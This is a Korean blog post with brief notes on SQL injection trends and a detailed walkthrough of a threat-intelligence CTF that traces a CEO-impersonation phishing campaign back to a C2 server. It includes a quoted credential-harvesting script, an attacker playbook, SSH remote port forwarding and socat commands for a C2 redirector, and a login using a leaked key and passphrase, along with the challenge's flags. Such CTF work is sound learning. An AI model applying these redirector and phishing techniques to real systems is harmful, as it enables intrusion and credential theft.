SQL Injection

Portswigger 에서 제공하는 SQL Injection 학습 및 Lab 실습을 마쳤다.

 


2025 SQL 현재 동향

"요즘도 SQL Injection이 쓰일까?" 6의 예방법을 학습하면서 이런 생각이 들었다. Prepared Statement, ORM, WAF가 널리 사용되면서 이미 사라진 취약점처럼 느껴졌다. 이렇게 간단하게 방어가 되는 공격이라면, 예전은 몰라도 이제는 많이 사용 되지 않을 것 같았다. 그래서 요즘의 SQL Injection은 어떤 식으로 인식 되고 있는지 동향을 살펴봤다. 확실히 “옛날 공격 기법”이라는 인식이 점점 강해지고 있었다. 

 

하지만 실제 통계를 보면, SQL Injection은 지금도 현업에서 꾸준히 발견되고 있었다. 국내 보안업체 Monitorapp의 2025년 웹 공격 동향 보고서에 따르면[1], SQL Injection은 전체 웹 공격 트래픽 중 약 25~37%를 차지하는 것으로 분석된다. 특히 보고서에 따르면, 복잡한 UNION 쿼리보다 True or False로 비교적 단순한 Blind SQL을 자동화하여 대량 공격에서 종종 쓰이는 것 같다. 또 Blind SQLi은 공격 패턴이 아니라 '논리 조건'에 가까워 보이기 때문에 WAF에서 차단하기 힘든 것도 한 몫하는 것 같다.

 

또한, Aikido Security가 공개한 분석[2]에 따르면, SQL Injection은 전체 취약점 중에서 차지하는 비율은 감소했지만 완전히 사라지지는 않았다. 오픈소스 소프트웨어 취약점 중 약 6.7%, 클로즈드 소스(상용 소프트웨어)에서는 약 10% 가 발견되었다. 즉, 최신 프레임워크 환경에서는 줄었지만 레거시 코드, 커스텀 SQL, 내부 시스템에서는 여전히 발견된다.

 

여담으로, OWASP Top 10[3]에서는 과거처럼 “SQL Injection 단독 항목”이 아니라 Injection 카테고리로 통합되어 관리되고 있다. 이는 SQLi가 사라졌기 때문이 아니라, SQL Injection, Command Injection, LDAP Injection 등이 공통적인 설계 결함에서 발생하기 때문이다. 즉, 위험도가 낮아진 것이 아니라 분류 방식이 바뀐 것에 가깝다.

 

결과적으로, SQL Injection은 여전히 상용 웹사이트 10% 정도에서는 발견되는 취약점이며, 사라지지 않았다. 좀 더 자세하게는,

  • UNION SQLi는 줄었지만, Blind / Time-based SQLi는 여전히 현실적이며
    • 이유1: 간략성 때문에 대량 공격에 종종 사용
    • 이유2: 정상적인 논리조건과 같은 생김새 때문에서 WAF에서 차단 힘듬
  • 레거시·API·관리 페이지에서는 계속 발견된다

Reference

 

링크

https://rrosint.redraccoon.kr/

 

RED RACCOON — Threat Intelligence Challenge

사건 요약 — 전 직원에게 CEO 명의로 복지 포털 로그인 요청 이메일이 발송되었습니다. CEO는 발송 사실을 부인했습니다. TI팀은 원본 이메일 client_request.eml을 확보했습니다. 공격자 인프라 흐름:

rrosint.redraccoon.kr

 

문제

 

분석

공격자 흐름

 

구성 요소

 

  • Threat Actor(s) : 공격자
  • VPS: Virtual Private Server.  공격자가 추적을 피하기 위해 사용한 중간 서버들
    • INFRA 1 : 아마도 피싱 메일 전송 서버
    • INFRA 2 : 아마도 프록시
    • INFRA 3 (Anonymity Web) : 공격에 필요한 사칭 계정을 만들기 위해 사용한 서버
  • Lure Site : 피싱 사이트
  • Victim(s) : 피해자
  • Sock Puppets : 사칭 계정
  • Spoofed Identity : 도용된 신원 (여기선 CEO)

 

 

공격 흐름

(익명화 / 운영 체인) Threat Actor → INFRA 3 INFRA 2

공격자가 INFRA3(Anonymity Web)

(이메일 체인)
Threat Actor → INFRA 2  INFRA 1 → Victim

(웹 피싱 체인)
Victim → Lure Site → INFRA 1 INFRA 2 → 정상 사이트

 

1. Threat Actor(s)

2. INFRA 3: 익명 서버(INFRA 3) 통해 가짜 계정 생성 역할

3. INFRA 2 : 피싱 사이트 등을 접근, 정보 받는 역할

4. INFRA 1 : 메일 서버로 메일 피해자들에게 전송 역할

5. Victims (여기선 사원들)이 피싱 사이트에 로그인 정보 입력 모음. (추후 내부 VPN 접근 사용 용도로 보임.)

 

과제 도출: 그래서 내가 해야할 것은?

Lure Site → INFRA 1 → INFRA 2 → INFRA 3 → Threat Actor

 

주어진 이메일과 피싱 사이트에서 흔적을 통해 역추적 통해, 실제 공격자의 정보 및 플래그르 알아내는 것.

1. 정찰

Suspicious Domain #1
What is This Domain? #2

 

피싱 사이트 주소를 자세히 보면 정상 사이트 이름(raccooncoin.site)가 아닌 중간에 c가 하나 빠진 racooncoin.site 이다.

타이포스쿼팅 기법을 활용한 피싱 사이트였다. 

 

Phishing Link #3

 

이 상황은 CEO 사칭 피싱 이메일에 링크가 포함되어 있고, 사용자가 클릭하면 계정 정보를 입력하도록 유도하는 패턴이므로 Credential Harvesting(자격증명정보 수집) 기법이다.

 

참조

*Credntial Stuffing(자격증명정보 채우기): 이미 탈취한 ID/PW를 자동화 도구로 여러 사이트에 재사용해 로그인 시도하는 공격

*Supply Chain Compromise(공급 망 손상): 협력업체/공급망 시스템을 침투해 2차 공격을 하는 형태

*Drive-by Compromise(자동 손상): 사용자가 링크를 클릭하거나 웹 페이지에 방문만 해도 악성코드 자동 다운로드/감염. - drive-by는 차량 운전 중 지나가면서 빠르게 이루어지는 경우를 뜻함.

 

2. 1차 접근: 이메일, 피싱 사이트 -> 경유지 서버

Suspicious IP #4

1. 이메일 헤더 분석

 

헤더 분석을 통해 mail.tutanota.de서버 에서 발신된 것을 알 수 있다. IP는 203.0.113.45

피싱 메일 전송 서버로 쓰인 서버인 것 같다.

 

(이메일 체인)
Threat Actor → INFRA 2  INFRA 1 → Victim

 

이메일 체인  INFRA 1: 203.0.113.45 (mail.tutanota.de) 

 

찾아보니 tutanota 는 해커들 사이에서 흔히 쓰이는 독일 메일 전송 서버라고 한다.

 

2. Lure Site 접속

 

http://vpn.racooncoin.site/

 

자세히 보면 raccooncoin 이 아닌 racooncoin 이다.

정상 사이트(raccooncoin)와 비슷한 도메인으로 흉내내는 타이포스쿼팅 공격인듯 하다.

 

2-1) 연결된 INFRA 찾기

JS 등 파일 다운로드가 어디에서 이루어지는 지 찾아보면 된다. 

개발자 창의 Element 탭이나 Network 탭을 봐보자.

Element 탭에서 힌트를 발견할 수 있었다.

 

해석하면 이렇다. 

1) form.addEventListener('submit', (e) => { ... } :Victims 가 로그인창에 로그인 정보를 제출하면

2) window.location.href = 'http://140.238.194.224'; : 해당 IP 주소로 리다이렉션해라(정보 전송해라)

3) setTimeout(()=>{ window.location.href = 'https://www.raccooncoin.stie';, 3000); : 3초 뒤에 정상으로 위장한 사이트로 이동해라.(눈속임수)

 

여기서 데이터를 넘기기 위해 중간 경유지로 사용되는 140.238.194.224가 2차 경유지(INFAR 2)로 추측되는 곳이다.

 

(웹 피싱 체인)
Victim → Lure Site → INFRA 1  INFRA 2 → 정상 사이트

피싱 체인 INFRA 1 : 140.238.194.224

 

Suspicious IP #4

따라서 4번 문제 정답은 140.238.194.224 이 된다.

What is this IP for? #5

많은 해커들이 추적을 피하기 위해 가계정 생성, 피싱 메일 전송, 피싱 사이트 운영 등, 시나리오에 필요한 서비스를 공격자의 서버에서 바로 실행하지 않고, 중간 경유지 서버들을 따로 둔다.

 

여기서 해당 IP는 악성 페이로드나 피싱 페이지 자체를 호스팅하는 것이 아니라,
사용자 클릭 → 트래픽을 공격자의 실제 피싱 서버/수집 서버로 전달하는 ‘경유 서버’(Redirector) 역할을 하는 것을 코드를 통해 알 수 있다.

http://140.238.194.224 에서 알 수 있듯 프로토콜은 HTTP이다.

 

3. 2차 접근: 경유지 서버 -> 더 깊이 연결된 서버 찾기

최종 공격자 서버까지 경유지가 몇 개나 되는지는 모르겠지만, 

우선 수면에서 가장 가까운 경유지 서버에 들어가 추가로 이어진 서버들을 찾아내야 한다. 

140.238.194.224 에 들어가 탐색을 하기 위해, 열린 포트를 찾아보자.

 

3-1) 경유지 서버 포트 스캐닝

 

nmap -sV 140.238.194.224

 

열린 포트는 22, 80, 8081 3군데이다. 

  • 22번 포트: ssh 프로토콜 포트로, 키가 없으면 접속 불가하다. 
  • 80번 포트: http 포트로 보통 열려 있지만, TCP Wrapper*에 의해 접근이 차단된 상태이다. (*TCP Wrapper : 이것도 CTF에서 매우 흔한 미끼)
  • 8081포트: 일반적으로 웹서버, API 서버, Proxy 등 어플리케이션 레벨 서비스가 열려 있는 포트

우선 접근 가능한 8081번 포트를 이용해 탐색해보자. 

 

They still make mistakes! #6 / 정답: 8081

 

3-2) 경유지 서버 접속

 

열린 포트를 찾았으니 접속해보자.

curl -v http://140.238.194.224:8081

 

접속해보니 raccooncoin_info.zip이라는 파일이 보인다.

다운로드 받아 압축을 풀어보면 raccooncoin_info 디렉토리 안에

plan.txt, db.sql, Source Code.zip 이렇게 3가지 파일이 있다.

 

 

3-3) 경유지 서버 속 발견한 단서 훑기

 

1️⃣ plan.txt:

plan.txt 중 일부

공격자의 공격 시나리오 계획(operational playbook)이 담겨 있다. 아마 여러 명의 공격자가 협업 중, 하나의 공격자가 노트 파일 형태로 팀에게 정보 공유하는데 사용된 것 같다. 영어로 되어 있어서 해석해야 한다.

 

내용은 크게 다음과 같다:

(1) Initial Recon: 공격자의 목적과 전반적인 공격 시나리오가 명세되어 있다.

  • 공격자의 목적: 암호화폐 거래소인 raccooncoin.site 침투한다. 직원용 VPN 자격 증명 탈취를 통해서. 

공격자의 목적

  • 공격 시나리오: OSINT(직원 정보 수집) -> Imersonation(사칭) -> Phishing(직원 피싱) -> VPN cred(직원용 VPN 계정 탈취) -> Pivot(VPN 계정 탈취 및 내부망 이동, DB 액세스)

공격 시나리오

 

  • 내부 인프라 정보: 실제 타깃(raccoooncoin.site)의 내부 인프라 정보를 명세해놨다. 타겟 페이지가 어떤 식으로 구성되어 있고, 굴러 가는지 분석한 부분이다. 

내부 인프라 정보

  • www.raccooncoin.site → Cloudflare → Origin: Oracle VPS(140.238.x.x): 사용자가 raccooncoin.site에 접속하면 Cloudflare로 먼저 들어오고, Cloudflare가 내부적으로 Oracle VPS(140.238.x.x)에 트래픽을 전달하는 구조. 공격자는 이를 역으로 OSINT로 파악하여 "진짜 서버는 140.238.x.x 대역에 있다"라고 기록한 것.
  • raccooncoin.site/singin.html → 오타 기반 피싱 탐색: 원래는 로그인용 페이지인 signin.html 이어야 할 텐데 오타가 발생한 페이지이다. 피싱 페이지로 악용하기 좋은 소스가 될 수 있어 메모해 둔 듯.
  • vpn.raccooncoin.site → 직원 VPN 포털: 내부 직원들이 사용하는 Staff VPN 로그인 페이지일 확률이 매우 높다.

 

(2) Social Engineering Plan 

  • OSINT(직원 정보 수집) -> Imersonation(사칭) -> Phishing(직원 피싱) -> VPN cred(직원용 VPN 계정 탈취) -> Pivot(VPN 계정 탈취 및 내부망 이동, DB 액세스) 중 Imersonation(사칭) 부분에 대한 상세 계획이다. plan.txt 에 나온 시나리오대로라면 socket puppet 이 있을 것이다. 이들의 깃헙 레포와 링크드인도 있을 것이다. 

(3) Phishing Scenario

  • 공격자가 현재까지 파악한 타겟 상세 정보들 및 이를 바탕으로 현재까지 세운 시나리오 정보 

  •  현재까지 파악한 타겟 상세 정보
    • VPN credentials for C-levels. (Check db in the zip file): 이미 임원 정보를 해커 쪽에서 털었고 zip파일 내 db에 이게 포함되어 있음.
    • Some internal IP ranges: 10.10.0.0/16. : 타겟 사이트의 내부망 주소까지 파악된 상태
    • Evidence that RedRaccoon TI (threat-intel@redraccoon.kr) had "pending" VPN account : 방어팀이 내부 VPN 계정을 신청한 기록이 보였음. 공격자는 이를 보고 공격 표면이 더 넓다는 것을 알고 있음
    • 198.51.100.44 → used for failed VPN attempts against "groot". Might be previous attacker or misconfigured testing box.: 이미 공격 당한 흔적이 있음   여기 저기서 인기 많은 타겟.
    • 185.199.111.153 → GitHub pages / static hosting. Seen as login source for rr-ti1/wget → maybe Red Raccoon scanner. : RedRaccoon 팀이 wget 등으로 GitHub Pages에 올린 자료(흔히 OSINT용)을 스캔했을 확률이 있다. 즉, 방어팀(위협 인텔팀)의 분석 활동 흔적을 공격자가 보고 있다.
  • 이를 바탕으로 한 인프라 구축 계획
    • Stand up redirector on cheap VPS. : 이건 우리가 이미 발견한 리다이렉트 서버의 존재(http://140.238.194.224)
    • Use it as:
       - HTTP(S) phishing landing page
       - SSH C2 pivot (port 80/443 masquerading)
      : 이 부분을 통해 현재 시나리오에 쓰인 서버들이 HTTP 리다이렉션 형태로 구성 되었음을 알 수 있다. 구체적으로는, 사용자가 피싱 페이지에 입력한 정보는 바로 공격자 서버로 넘어가는 것이 아니라, 이 경유지 서버를 한 번 거쳐서 공격자 서버(C2, Command & Controll)로 넘어간다. 

(4) Future Plan

 

  • [ ] Finish fake LinkedIn + GitHub profiles and age them for a few days. : 가짜 링크드인 및 깃헙 페이지 설정 및 며칠간 계정을 숙성(aging)시키는 과정까지 해서 계정의 신뢰도를 높이는 작업까지 계획한 상태.
  • [ ] Join Korean security / crypto groups and casually interact to build trust.: 자연스럽게 한국 보안, 크립토 커뮤니티에 들어가 자연스럽게 질문하고, 활동하고, 댓글 남기면서 신뢰를 쌓으려는 전략. 
  • [ ] Finalize phishing email template in both English and Korean.: 다국어 피싱 이메일 준비.
  • [ ] Deploy cloned VPN login page and test credential logging.: 앞서 발견했다고 알려진 VPN 포털 페이지를 클론 및 로그인 폼을 공격자 서버에 재현, 입력한 아이디/비밀번호를 공격자 서버에 저장(logging)
  • [ ] Prepare OSINT trail so that investigators (CTF players) can:
        - find this notes file
        - pivot from leaked SQL → email addresses → social media → fake profiles → onion/redirector infra. : 사실상 이 부분이 가장 중요하다. 우리를 위해 남겨둔 문제 출제자의 힌트이다. "leaekd SQL 파일이 있고, 여기서 가계정 이메일 주소를 알 수 있으며, 해당 가계정들의 소셜 미디어(위에서 언급된 링크드인, GitHub이겠지), 가계정 정보 알아내고, 이후 경유지 서버를 통해 최종 공격자 서버(C2)까지 알아낼 수 있다"는 것을 이 부분에서 짐작할 수 있다.

2️⃣ db.sql

decoy flag 발견 / FLAG{KOREAN#1COMMUNITYRR}

- socket puppet 을 만드는데 사용된 듯한 sql 문이다.

- 2개의 socket puppet 이 있어보인다. Soyeong Park, Tony Racoon.

- 그리고 퀴즈 풀이에 쓰이는 것으로 보이는 중간 FLAG. 몇 번 문제 정답인지는 모르지만 우선 확인만 해두자.

 

3️⃣ Source Code.zip: 공격 시나리오에 쓰인 C2 서버의 소스 코드이다. README.md를 읽어보면 더 자세히 알 수 있다.

 

💡 잠깐 : HTTP Redirect 개념 이해하기

지금까지 경유지 서버(http://140.238.194.224:8081)를 발견했고, nmap 포트 스캐닝을 통해 열린 포트를 확인했다.(22❌, 80❌, 8081✅). 그리고 열려 있는 8081 포트로 들어가, 공격자 추적을 위한 몇 가지 단서들(타겟 서버 아키텍처, 타 공격자 여부, 내부 인프라 정보, 전반적인 공격 시나이로 등)을 얻을 수 있었다. 이렇게 얻어낸 전반적인 공격 시나리오는 처음 문제에서 주어진 것과 같다.

경유지 서버(:8081)를 통해 확인할 수 있었던 공격자 시나리오 아키텍쳐

 

 

여기서 문제를 풀면서 막혔던 부분은 HTTP Redirect의 개념이었다. 

출처: https://www.레드팀.com/infrastructure/http-redirector

 

*용어 통일: 

- 팀 서버 == 공격자 서버

- 리다이렉터 == 경유지(서버)

 

*배경 지식:

- SSH 통신: Secure Shell(SSH). 네트워크로 안전하게 다른 컴퓨터에 접속해 명령, 파일 전송, 터널링을 할 수 있게 만드는 통신 프로토콜.즉, 원격 서버에 로그인해서 Linux 터미널을 쓰게 해주는 것. - SSH 접속이 왜 강력한 이유 : SSH에 성공한다는 건 곧, 상대 서버의 OS를 직접 사용할 권한을 얻는다는 것. 

- Socket 통신: 컴퓨터끼리 데이터를 주고받기 위해 만들어 놓은 ‘가상의 파이프(연결 통로)’. 소켓(socket)이 바로 이 통로를 “열고/읽고/쓰는 주체”. OS 내부에서는 소켓이 파일처럼 동작.

- 비컨(beacon): 해커가 설치한, 공격자 C2 서버로 주기적으로 연결을 시도하는 프로그램. 타깃 PC 안에 몰래 심어놓은 “스파이” 같은 것.

 

1. 리다이렉터 22/tcp 로 ssh 접속: 공격자 서버가 피싱 사이트 사이에 경유지 서버 포트 포워딩을 만들기 위해 접속. 

ssh -i id_ed25519 spark@redirector_ip

* 포트 포워딩(Port Forwarding) 개념과 사용 이유 :

 

2. (ssh) 리다이렉터:2222 -> 팀서버:443 Remote Port Forwarding : 경유지 서버의 포트 2222번을 팀서버(공격자 서버) 443번이랑 연결해줘.

ssh -i id_ed25519 -R 2222:localhost:443 spark@redirector_ip

이 단계를 통해 리다이렉터 2222 포트 == 팀 서버 443 포트(SSH 터널을 이용한 가상의 직통 회선) 설정. 경유지에 ‘공격자 서버로 향하는 비밀문’ 2222번을 하나 만든 것이라고 생각하면 됨.

 

3. (socat) 리다이렉터:443 -> 리다이렉터:2222

sudo socat TCP-LISTEN:443,fork TCP:localhost:2222

 

socat 통신 이용해(외부/피싱사이트) -> 경유지 443포트 == 경유지 2222 포트 == 공격자 서버 443 포트 설정.
이렇게 되면서 “리다이렉터 443 = 팀 서버 443” 으로 생각해도 될 정도가 됨.

  • 이 단계는 왜 필요한가? SSH Remote Port Forwarding(-R)은 리다이렉터의 ‘임의 포트(2222)’에는 바인딩할 수 있지만,
    시스템 포트(1~1023, 예: 443(HTTPS 포트) )에는 직접 바인딩할 수 없기 때문. 즉, SSH 기술적 제약 문제.
  • socket 통신은 왜 필요한가? 그러나 타깃이 콜백할 포트는 반드시 443 이어야 한다. 왜냐하면, 많은 조직 방화벽은 아웃바운드 443만 허용하기도 하고, C2 비컨 트래픽은 HTTPS처럼 보이게 하려고 443 사용하기 때문.

4. 리다이렉터:443 으로 콜백

5. (socat) 리다이렉터:443 -> 리다이렉터:2222, (ssh) 리다이렉터:2222 -> 팀서버:443

6. 팀 서버 443으로 ssh Port Forwarding을 통해 비컨이 연결됨.

 

1~3단계에서 공격자가 설정한 포트 포워딩으로, 공격자의 비컨이 경유지를 통해 인터넷으로 나갈 수 도 있고, 반대로 인터넷에서 들어오는 정보 역시 경유지를 통해 공격자 서버로 들어올 수 있게 됨.

 

정리하면, 이번 단계에서는 경유지 서버 탐색을 통해 해당 경유지가 ssh 연결을 통해 공격자 서버에 연결되어있다는 것을 알 수 있음.  위는 HTTP Redirect 설명 예시 그림이고, 현 문제에서는 443(HTTPS) 포트 대신 80(HTTP)가 사용되었음. 정확히 어떤 포트로 연결되었는 지 등의 자세한 사항은 추후 탐색으로 통해 알 수 있을 듯.

 

4. 3차 접근:  Socket Puppets 찾기

4-1) 단서 바탕으로 sock puppets 찾기 - LinkedIn

racoon-coin 회사를 검색해보자. 

https://www.linkedin.com/company/raccoon-coin/

 

해당 레포에 들어가면 회사 관련 인물 2명이 나온다. 

plan.text와 db.sql에서 확인 가능했던 가계정 이름과 동일하다. 한 명은 ceo, 다른 하나는 lead.

 

피싱 메일에 나왔던 인물 직책은 Lead 라고 했고, 깃헙 레포에 나온 이름도 soyeong이니

이를 바탕으로 두 인물중 spark인물로 찾아보자. 필터를 아래처럼 하면 뜬다.

https://www.linkedin.com/in/soyeong-park-5046b7391/

 

Sock Puppets #8 / https://www.linkedin.com/in/soyeong-park-5046b7391/

 

4-2) 단서 바탕으로 sock puppets 찾기 - GitHub

spark라는 계정이 작성한 GitHub Raccoon Coin 레포지토리를 발견했다.

https://github.com/racconcoin

 

racconcoin - Overview

Raccoon Coin . racconcoin has 3 repositories available. Follow their code on GitHub.

github.com

https://github.com/racconcoin
Suspicious Repo #9 / https://github.com/racconcoin

 

 

4-3) 더 깊이 파기

공격자들은 시나리오에 따라 여러 이유로 이러한 GitHub 가계정들을 올린다. 이러한 GitHub 레포에서는 다양한 공격자의 흔적을 발견할 수 있다. 

 

1️⃣ 공격자의 지역대

Find their Geo Location #10

 

퀴즈에 따르면 공격자의 깃헙 레포를 통해 공격자 지역대를 추측할 수 있는 방법이 하나 있다고 한다.

 

 

github 레포를 로컬에 다운로드 받아서 git log 를 실행하면 이렇게 커밋별 시간이 뜬다.

시간 옆 -0500은 UTC-5 시간대(미국 동부, 캐나다 토론토나 퀘백 지역, 중남미 중 콜롬비아, 페루 등...)을 의미한다. 

따라서 퀴즈#10의 선택지 중에서는 아메리카 지역 동쪽, UTC-5 시간대 중에선 콜롬비아가 될 수 있겠다.

 

2️⃣ SSH private key

 

공격자들은 종종 시나리오에 필요한 서비스를 생성하고 올리다가 실수로 중요 정보를 push 하기도 한다.

GitHub 가짜 계정 repo에 push하고, 이건 현실에서도 자주 벌어지는 OPSEC failure (보안 실수) 패턴이라고 한다.

 

중요 정보를 실수로 올렸다면 아마 삭제한 커밋 내역이 있을 것이다.

commit 내역 중 DELETE 이라는 이름의 커밋 중 SSH public keyauthorized key 를 발견할 수 있었다.

Delete 커밋 내역

 

.ssh/id_ed25519          ← SSH 개인키(비밀키)
.ssh/id_ed25519.pub      ← SSH 공개키
.ssh/authorized_keys     ← 서버 측 공개키 등록 파일

 

3️⃣ SSH Passphrase

Clean up 커밋 내역

 

커밋명이 cleanup 이고 DELETE 커밋 뒤인 걸 보면, 얘도 깜빡했나보다.

깃헙 레포 뒤질 때는 히스토리에서 삭제 히스토리를 잘 살펴봐야겠다.

 

.bash_history는 이 경유지 서버의 터미널에 남은 모든 명령어 기록이다. 

여기서 눈 여겨 봐야 하는 부분은 아래 부분이다.

 

cd ~/Downloads
ssh -o UserKnownHostsFile=/dev/null -i id_ed25518 spark@140.238.194.22e; \
expect "Enter passphrase"; \
send "SSH@@RACOONCOIN!@#\r"; \
python3 script.py

 

경유지 서버에 "spark"이라는 누군가가 id_ed25518이라는 private key를 가지고 접속을 시도한 게 보인다. 

expect는 공격자가 자동 입력을 수행하기 위해 넣은 스크립트로, "Enter passphrase"라는 ssh passphrase 입력하라고 뜨면 send 뒤에 보낼 말을 자동으로 보내라, 는 의미이다. 따라서 해당 부분은 공격자가 경유지 서버로 본인 진짜 서버에서 접속한 흔적이며, 편의성을 위해 ssh 연결을 자동화 시키기 위한 명령어의 흔적으로 보인다.

 

더하여, ssh private key 로그인은 이러한 passphrase 를 추가 요구하는 보안 강화 설정을 적용할 수 있다. 여기도 그런 케이스이며, send 뒷 부분이 여기서 설정된 passphrase임을 알 수 있다. 나아가 보내는 문자 "" 안 끝쪽에 개행 문자 \r을 넣어준 것은 Enter를 눌러 전송하는 행위와 같다. 따라서 실제 passphrase는 "SSH@@RACOONCOIN!@#\r" 중 개행문자 \r을 뺀 "SSH@@RACOONCOIN!@#" 가 된다. 

 

추후 리다이렉트 서버에 ssh 연결해서 접근할 때 Enter passphrase 어쩌구가 뜨면 "SSH@@RACOONCOIN!@#" 를 복붙해 넣으면 된다. 

 

5. 4차 접근:  경유지 접근 by SSH 통신

22번 포트(SSH 통신)으로 경유지 서버를 들어갈 수 있는 방법을 찾았다. 

이번엔 22번 포트를 통해 SSH로 경유지에 접근해보자.

 

5-1) 발견한 ID/PW 로 경유지 접속하기

 

vim attacker_key

 

개인키를 파일로 작성해준다.

작성시 유의점:

-----BEGIN OPENSSH PRIVATE KEY----- 부분부터 -----END OPENSSH PRIVATE KEY----- 까지 포함하여 작성해준다.

 

ssh -i attacker_key spark@140.238.194.224

 

를 입력하면 

 

Enter passphrase for key 'attacker_key': 

 

라고 뜬다.

여기에 SSH@@RACOONCOIN!@# 를 복붙해준다.

 

Ta-da!

 

경유지 서버에 ssh 통신으로 접속에 성공했다.

ssh 로 접속하니 이전 8081로 접속했을 땐 안보이던 파일들이 보인다.

 

5-2) 상승된 권한으로 경유지 서버 재탐색

 

중간 퀴즈 플래그로 보이는 파일들이 종종 보인다.

Flag_Flag_Flag_Flag_Flag 와 if_you_re_here_read_this 파일은 미끼 ;-;

얄밉.

.flag.txt

 

드디어 찾았다.

KEY TO "HACK-BACK" #11 / FLAG{YOUALMOSTGOTME!@#$%@#!#}

 

5-3) 공격자 서버(C2 서버) 정보 찾기

C2 바로 앞까지 왔는데 여긴 도대체 어떻게 찾는 걸까.

 

8081포트에서 다운받았을 때는 없었던 새로운 파일 중 두 미끼를 제외하면 check.py만 남는다.

서버 내부에 2222 포트로 신호를 보내면 답이 온다고 한다.

python3 check.py 로 실행하면 FLAG가 답으로 나오나? 싶어서 했는데 무응답이다.

 

공격자 서버만 찾으면 되는데... 거의 다 온 것 같은데...

뭘 놓친걸까.

 

 

env

 

환경 변수 설정 파일을 통해 힌트를 얻을 수 있다.

 

이중 핵심은 ONION IP 주소 정보이다.

 

공격자가 운용하는 토르(Tor)의 숨겨진 C2 주소이다. 일반 인터넷 IP 대신 onion 주소로 c2를 숨긴 것. 

토르는 익명성을 보장하는 브라우저로, Tor 네트워크 안에만 존재하는 특수한 서버 주소이다.

 

ONIONKEY는 어디에 쓰이는지 알 수 없지만 KEY라는게 인상 깊어서 남겨둠.

 

IP 정보부터 파악해보자.

 

실제 백엔드 C2 서버의 공인 IP.

문제 12번은 이 서버의 풀IP를 알아내는 것이다.

 

Command&Control #12 / 158.180.6.169

 

 

netstat -tnp 또는 ss -tnp 를 통해 알아낼 수 있었다. 

둘다 현재 서버가 누구와 소켓 통신 중인지 묻는 명령어로, ss는 최신 netstat은 옛날 도구라고 한다.

 

ss - tnp 결과

158.180. 으로 시작하는 C2 서버 정보를 찾을 수 있었다. 

 

정리하면, env를 통해 알 수 있는 두 가지 정보:

1. 공격자 C2(Tor hidden service): 5f7ae5y4tqytplv5qkyz5pt3owimikwtnctizdezptbagb7dmub5mpid.onion

2. Backend C2 IP: 158.180.6.169:40302

가 되겠다.

 

이젠 ONION 주소로 들어가 남은 문제들을 풀어보자.

 

6. 5차 접근:  공격자 서버 접속

 

토르(Tor) 브라우저를 다운로드 받아 해당 ONION 주소로 접속한다.

 

위 KEY를 입력해서 접속하면 이런 사이트가 나온다.

 

보안을 위해 주소를 가지고 있어도 KEY가 있어야 접속 가능하게 설정 걸어뒀나보다.

아까 얻은 ONION_KEY는 이걸 위한 거였는 듯.

복붙해준다. 

 

C2 서버

 

stolen_payment_records.cvs.txt / FLAG{R@CC0ONTHEBEST}

 

 

 

Under The "Deep" Sea #13 / FLAG{R@CC0ONTHEBEST}

 

 

나머지 문제는 해당 공격자 서버에서 발견한 ransom_loader_v2.exe 를 다운로드 받아, 

해당 파일 내용을 해쉬화 함으로써 해결할 수 있었다.

 

ransom_loader_v2.exe

 

절대 클릭해서는 안될 것 같은 이 실행파일은 막상 다운 받으면 .txt 파일이니 안심하고 받자. 

 

ransom_loader_v2.exe.txt

 

아래 명령어로 해쉬화한 결과를 문제 정답에 복붙해 주면 된다.

 

shasum -a 256 ransom_loader_v2.exe.txt

 

Ransomware Artifact #14 / e4c1572b153b10ed540f415dc436a87c7b46f0965daaa3ac98df3072925013e8

 

 

마무리

퀴즈를 따라가는 게 힌트인 줄 모르고 쌩 바닥부터 뚫느라 처음엔 중구난방으로 풀었다. 다 풀고 퀴즈를 #1부터 하나하나 풀며 정리하는 글을 쓰니 애매하게 알던 개념들도 글로 정리하며 제대로 이해하게 되는 시간이었다. 

 

퀴즈를 풀고 다시 퀴즈별로 문제 풀이 복귀를 하는 지금에도 느끼지만, 레드 티밍 공격은 이렇게 글쓰듯이 매끄럽게 한 방향으로 한 번에 쭉- 풀리는 게 아니라, 계속해서 저 몇 단계를 다시 오가는 과정인 것 같다. 언젠가 실력이 쌓이면 한 단계에서 필요한 정보를 모두 한 번에 찾을 수 있을 정도로 실력이 쌓일 수 있으면 좋겠다. 

 

간단하지만 많이 배울 수 있던 RCity 실전 Threat Intelligence 추적 챌린지10 였다.

 


 

https://github.com/racconcoin/raccooncoin-dev/commit/4c8b9215b593d20b4d78558592e29777ef4e9162

 

cleanup · racconcoin/raccooncoin-dev@4c8b921

+ ssh -o UserKnownHostsFile=/dev/null -i id_ed25518 spark@140.238.194.22e; \

github.com

 

https://velog.io/@hoju1149/%EC%9B%8C%EA%B2%8C%EC%9E%84%EB%9D%BC%EC%BF%A4%EC%8B%9C%ED%8B%B0-%EC%8B%A4%EC%A0%84-Threat-Intelligence-%EC%B6%94%EC%A0%81-%EC%B1%8C%EB%A6%B0%EC%A7%8010

 

[워게임]라쿤시티 실전 Threat Intelligence 추적 챌린지 10

요 며칠간 글을 못올렸는데 두가지 이유가 있다. 하나는 교통사고.. 투잡을 뛰고있는데 새벽배송을 하던 도중 요즘 잠이 부족했는지 평소 멀쩡히 지나가던 골목길에서 다른 트럭을 박아버렸다..

velog.io

https://www.shodan.io/host/140.238.194.224

 

140.238.194.224

 

www.shodan.io

https://www.virustotal.com/gui/ip-address/140.238.194.224

 

VirusTotal

 

www.virustotal.com

 

+ Recent posts